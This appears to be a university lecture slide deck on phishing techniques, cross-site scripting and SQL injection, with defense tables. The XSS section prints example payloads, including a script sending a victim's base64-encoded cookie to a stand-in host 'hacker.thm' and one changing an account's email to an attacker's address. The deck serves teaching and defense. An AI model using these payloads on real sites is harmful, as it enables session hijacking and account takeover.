Cyber Security Tools and Technologies

Dr. Arshad Ali
Associate Professor
NUCES Lahore

Acknowledgment

- **Research Article**
- **Securing Against Advanced Cyber Threats: A Comprehensive Guide to Phishing, XSS, and SQL Injection Defense**

Cyber Threats

- Phishing
- XSS
- SQL Injection

Phishing / XSS / SQL Injection

- ✓ **Phishing** assaults take advantage of people's trust in email and the internet to deceive them into giving over private information.
  - ✓ Thus, people end up helping to compromise their own safety even though they didn't intend to.
- ✓ **Cross-Site Scripting (XSS)** exploit users' naive confidence in web apps.
- ✓ Malicious code is injected into a website, leveraging the trust that users have in the site to execute the code within their browsers, putting their personal information and security at risk

Phishing / XSS / SQL Injection

- ✓ **SQL injection attacks:** Databases are the target of these assaults, which weaken them at their core by exploiting flaws in the way user inputs are processed
- ✓ Unauthorized users can get access, alter data, and even leak private information using SQL injection attacks
- ✓ As organizations increasingly rely on databases to store and handle huge volumes of data,
  - ✓ the impact of SQL Injection attacks grows more significant and possibly fatal

Types of Phishing Techniques

Most common types of phishing attacks **[Recap]**

- ✓ **Spear Phishing:** targeted to a particular individual or small group. The attacker will research their target and include personalized details that make the attack seem possible and real.
- ✓ **Vishing (**voice phishing): a phishing attack performed over the phone. Instead of using malicious links or attachments like computer-based phishing attacks, vishers attempt to talk their targets into handing over sensitive information — such as credit card details or PII — or installing malware on their own computers.

Types of Phishing Techniques

- ✓ **Smishing:** a phishing attack performed using SMS text messages. These messages commonly pretend that there is some issue with the target's account with a service and include links to phishing pages designed to harvest the user's credentials for that account.
- ✓ **Whaling:** a particular type of spear phishing attack focused on high-level executives. These executives have the power to authorize large financial transfers or disclose sensitive information, making them a high-value potential target for a phisher.
- ✓ **Clone phishing:** involves sending a user a phishing email that mimics a previously received email. E.g., , if the attacker knows that the user received a shipment tracking email, they might send an identical email that includes a link to a malicious site.

Types of Phishing Techniques

- ✓ **SEO phishing:** direct users to malicious websites by manipulating the output of common searches. For example, an attacker may purchase paid ads on a search engine to have a phishing page impersonating a trusted brand show up first in the search results.
- ✓ **Business Email Compromise (BEC) or CEO fraud:** involve the attacker impersonating the CEO or a high-level executive. The attacker then instructs another employee to take some action, such as sending money to the attacker's bank account.
- ✓ **Spam:** includes unwanted emails that are designed to steal money or sensitive data from their target. E.g., telling the user that they need to visit a particular website to update their password.

Types of Phishing Techniques

Quishing

- ✓ Quick Response (QR) codes provide a contactless way to access information without entering a web address.
- ✓ Connecting to fraudulent websites via QR codes bypasses traditional defenses,
  - ✓ such as the Secure Email Gateway (SEG), which scans for malicious links and attachments.
- ✓ Phishing scams start by sending QR code via an email.
  - ✓ A common tactic is to invite people to access important content via QR codes. Victims then use their camera to access the QR code, open a browser and are taken to a malicious site.

Types of Phishing Techniques

Pharming:

- ✓ a sophisticated attack and more difficult to detect.
- ✓ Malicious attackers hijack the Domain Name Server (DNS) that translates URLs from natural language to IP addresses.
- ✓ Then, when the user enters a legitimate website address,
  - ✓ the DNS server redirects the user to the IP address of the fake, malicious website.

Types of Phishing Techniques

Evil twin

- ✓ Such phishing attacks use fake WiFi hotspots, which appear to be legitimate, and can intercept data in transit.
- ✓ If someone uses a fake hotspot, malicious actors can perform man-in-the-middle and eavesdropping attacks.
- ✓ This allows an attacker to collect data such as login credentials and sensitive information transmitted over the connection.

Protecting against Phishing Attacks

Employee Education:

- ✓ Phishing attacks are designed to trick or manipulate someone into doing the attacker's bidding.
- ✓ Teaching employees about phishing attacks and the latest techniques and pretexts can help them identify and properly respond to these attacks.

Email Scanning Solutions

- ✓ Email security tools can identify phishing messages based on their content and malicious links or attachments.
- ✓ These emails can be blocked before they reach the target inbox, preventing an employee from falling for the phish.

Multi-Factor Authentication (MFA):

- ✓ Phishing attacks are often designed to steal login credentials that provide access to an employee's account.
- ✓ Implementing MFA increases the difficulty for attackers looking to use these stolen credentials.

Protecting against Phishing Attacks

Separation of Duties

- ✓ Phishers may attempt to trick their target into taking some harmful action, such as sending money or sensitive data to an attacker.
- ✓ Breaking high-risk actions — such as paying invoices — into multiple stages assigned to different people increases the difficulty of tricking all of them.

Endpoint Security

- ✓ Phishing attacks may also be designed to deliver malware to a device.
- ✓ Installing corporate endpoint security devices on computers and mobile devices can help to detect and block installation of the malware.

Other Phishing Defense (refer to RA)

Technique	Prevention Measures	Tools/Technologies
Email Filtering	Implement robust email filtering systems to detect and block phishing emails.	- Advanced Threat Protection (ATP)
	Train employees on recognizing phishing emails and reporting them.	- Security Awareness Training
Web Page Inspection	Regularly inspect and validate the legitimacy of web pages.	- Web Browsers
	Use secure connections (HTTPS) and multi-factor authentication (MFA).	- SSL/TLS Certificates
Domain Verification	Verify email sender domains and use DMARC to prevent domain spoofing.	- DMARC (Domain-based Message Authentication, Reporting, and Conformance)

Cross Site Scripting

- ✓ XSS is based on JavaScript
- ✓ In XSS, malicious JavaScript gets injected into a web application with the intention of being executed by other users
- ✓ In XSS, **the payload** is the JavaScript code we wish to be executed on the targets computer. It has two parts
  - ✓ **the intention**: The intention is what you wish the JavaScript to actually do
  - ✓ the modification: the changes to the code we need to make it execute as every scenario is different

Cross Site Scripting

Proof Of Concept:

✓ This is the simplest of payloads where all you want to do is demonstrate that you can achieve XSS on a website.

✓ This is often done by causing an alert box to pop up on the page with a string of text, for example:

```
<script>alert('XSS');</script>
```

Cross Site Scripting

Session Stealing:

- ✓ Details of a user's session, such as login tokens, are often kept in cookies on the targets machine.
- ✓ The JavaScript takes the target's cookie, base64 encodes the cookie to ensure successful transmission and then posts it to a website under the hacker's control to be logged.
- ✓ Once the hacker has these cookies, they can take over the target's session and be logged as that user.

```
<script>fetch('https://hacker.thm/steal?cookie=' +
    btoa(document.cookie));</script>
```

Cross Site Scripting

Business Logic:

- ✓ This payload is a lot more specific.
- ✓ This would be about calling a particular network resource or a JavaScript function.
- ✓ For example, imagine a JavaScript function for changing the user's email address called user.changeEmail()
- ✓ This payload could look like this:

<script>user.changeEmail('attacker@hacker.thm');</script>

Since the email address for the account has changed, the attacker may perform a reset password attack.

XSS Types

1. Reflected XSS

This happens when user-supplied data in an HTTP request is included in the webpage source without any validation.

Potential Impact:

- ✓ The attacker could send links or embed them into an iframe on another website containing a JavaScript payload to potential victims getting them to execute code on their browser, potentially revealing session or customer information.

XSS Types

1. Reflected XSS

How to test for Reflected XSS:

- ✓ Test every possible point of entry; these include:
  - ✓ Parameters in the URL Query String
  - ✓ URL File Path
  - ✓ Sometimes HTTP Headers (although unlikely exploitable in practice)
- ✓ Once you've found some data which is being reflected in the web application,
  - ✓ then need to confirm that you can successfully run your JavaScript payload;
  - ✓ your payload will be dependent on where in the application your code is reflected

XSS Types

1. Stored XSS

✓ the **XSS payload is stored** on the web application (in a database, for example) and then gets run when other users visit the site or web page.

Potential Impact:

The malicious JavaScript could redirect users to another site, steal the user's session cookie, or perform other website actions while acting as the visiting user.

XSS Types

1. Stored XSS

How to test for Stored XSS:

- ✓ Need to test every possible point of entry where it seems data is stored and then shown back in areas that other users have access to;

Examples:

- ✓ Comments on a blog
- ✓ User profile information
- ✓ Website Listings

Sometimes developers think limiting input values on the client-side is good enough protection, so changing values to something the web application wouldn't be expecting is a good source of discovering stored XSS, for example, an age field that is expecting an integer from a dropdown menu, but instead, you manually send the request rather than using the form allowing you to try malicious payloads.

XSS Types

1. DOM based XSS

DOM stands for **D**ocument **O**bject **M**odel

- ✓ It is a programming interface for HTML and XML documents.
- ✓ It represents the page so that programs can change the document structure, style and content.
- ✓ A web page is a document, and this document can be either displayed in the browser window or as the HTML source.

XSS Types

1. DOM based XSS

Exploiting the DOM

- ✓ DOM Based XSS is where the JavaScript execution happens directly in the browser without any new pages being loaded or data submitted to backend code.
- ✓ Execution occurs when the website JavaScript code acts on input or user interaction.
- ✓ The website's JavaScript gets the contents from the window.location.hash parameter and then writes that onto the page in the currently being viewed section.

XSS Types

1. DOM based XSS

Potential Impact:

Using the correct payload, the attacker's JavaScript could make calls back to an attacker's website, revealing the staff portal URL, the staff member's cookies, and even the contents of the portal page that is being viewed. Now the attacker could potentially hijack the staff member's session and have access to the private portal.

XSS Defense

Table 2: XSS (Cross-Site Scripting) Defense

Technique	Prevention Measures	Tools/Technologies
Input Validation	Validate and sanitize user inputs to prevent malicious script injection.	- Input Validation Libraries
Content Security Policy	Implement Content Security Policy headers to control the sources of content.	- Content Security Policy (CSP)
Encoding	Encode user input and output to prevent script execution.	- HTML Entity Encoding
HTTP Only Cookies	Set the "HttpOnly" flag for cookies to prevent client-side script access.	- Web Application Firewalls (WAF)

XSS Defense

Table 3: SQL Injection Defense

Technique	Prevention Measures	Tools/Technologies
Parameterized Queries	Use parameterized queries to separate SQL code from user inputs.	- Prepared Statements
Input Validation	Validate and sanitize user inputs to prevent SQL injection attacks.	- Input Validation Libraries
Least Privilege Principle	Implement the principle of least privilege for database access.	- Role-Based Access Control (RBAC)
Error Handling	Customize error messages to avoid exposing sensitive information.	- Custom Error Pages